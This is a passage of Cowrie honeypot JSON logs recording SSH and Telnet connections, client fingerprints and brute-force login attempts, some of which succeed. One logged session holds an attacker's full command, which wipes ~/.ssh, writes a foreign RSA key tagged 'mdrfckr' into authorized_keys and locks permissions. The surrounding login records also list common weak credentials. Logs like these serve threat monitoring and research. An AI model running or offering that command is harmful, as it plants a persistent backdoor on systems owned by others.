{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.820915Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:52.826041Z","src_ip":"92.118.39.92","session":"deab83362f08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":51580,"dst_ip":"159.203.135.109","dst_port":22,"session":"1013b7382966","protocol":"ssh","message":"New connection: 157.10.160.98:51580 (159.203.135.109:22) [session: 1013b7382966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:56.555571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:56.559564Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:56.805530Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qaz123","message":"login attempt [root/qaz123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:57.826059Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:58.355219Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:58.358218Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:58.361873Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:58.611971Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.137358Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.140975Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.393568Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.397002Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":46404,"dst_ip":"159.203.135.109","dst_port":22,"session":"1507272decce","protocol":"ssh","message":"New connection: 157.10.160.98:46404 (159.203.135.109:22) [session: 1507272decce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.633655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.638709Z","src_ip":"157.10.160.98","session":"1507272decce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:45:59.880862Z","src_ip":"157.10.160.98","session":"1507272decce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:00.885990Z","src_ip":"157.10.160.98","session":"1507272decce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:02.250863Z","src_ip":"157.10.160.98","session":"1507272decce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":46408,"dst_ip":"159.203.135.109","dst_port":22,"session":"37eb9bda2601","protocol":"ssh","message":"New connection: 157.10.160.98:46408 (159.203.135.109:22) [session: 37eb9bda2601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:02.498304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:03.431622Z","src_ip":"157.10.160.98","session":"37eb9bda2601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:03.435402Z","src_ip":"157.10.160.98","session":"37eb9bda2601","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:04.417133Z","src_ip":"157.10.160.98","session":"37eb9bda2601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:04.661690Z","src_ip":"157.10.160.98","session":"1013b7382966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:04.666360Z","src_ip":"157.10.160.98","session":"37eb9bda2601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41656,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b191e7899c","protocol":"ssh","message":"New connection: 2.57.122.208:41656 (159.203.135.109:22) [session: f1b191e7899c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:18.882982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:19.025968Z","src_ip":"2.57.122.208","session":"f1b191e7899c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:19.029535Z","src_ip":"2.57.122.208","session":"f1b191e7899c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:19.841374Z","src_ip":"2.57.122.208","session":"f1b191e7899c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:46:21.012376Z","src_ip":"2.57.122.208","session":"f1b191e7899c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":46858,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e19fff5462","protocol":"ssh","message":"New connection: 195.178.110.218:46858 (10.17.0.5:22) [session: 12e19fff5462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:00.440525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:00.445054Z","src_ip":"195.178.110.218","session":"12e19fff5462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:00.520032Z","src_ip":"195.178.110.218","session":"12e19fff5462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:00.745125Z","src_ip":"195.178.110.218","session":"12e19fff5462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:01.823592Z","src_ip":"195.178.110.218","session":"12e19fff5462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.34.7.104","src_port":34553,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed2dd768a94","protocol":"telnet","message":"New connection: 1.34.7.104:34553 (159.203.135.109:23) [session: 6ed2dd768a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:20.225224Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":45842,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe546469ed55","protocol":"ssh","message":"New connection: 185.196.10.227:45842 (159.203.135.109:22) [session: fe546469ed55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:39.736020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:39.740968Z","src_ip":"185.196.10.227","session":"fe546469ed55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:39.850538Z","src_ip":"185.196.10.227","session":"fe546469ed55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hb","password":"hbhb","message":"login attempt [hb/hbhb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:40.320617Z","src_ip":"185.196.10.227","session":"fe546469ed55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:41.435795Z","src_ip":"185.196.10.227","session":"fe546469ed55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.52410650253296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:47:50.749233Z","src_ip":"1.34.7.104","session":"6ed2dd768a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36060,"dst_ip":"159.203.135.109","dst_port":22,"session":"891f9c7f4793","protocol":"ssh","message":"New connection: 92.118.39.92:36060 (159.203.135.109:22) [session: 891f9c7f4793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.169463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.175336Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-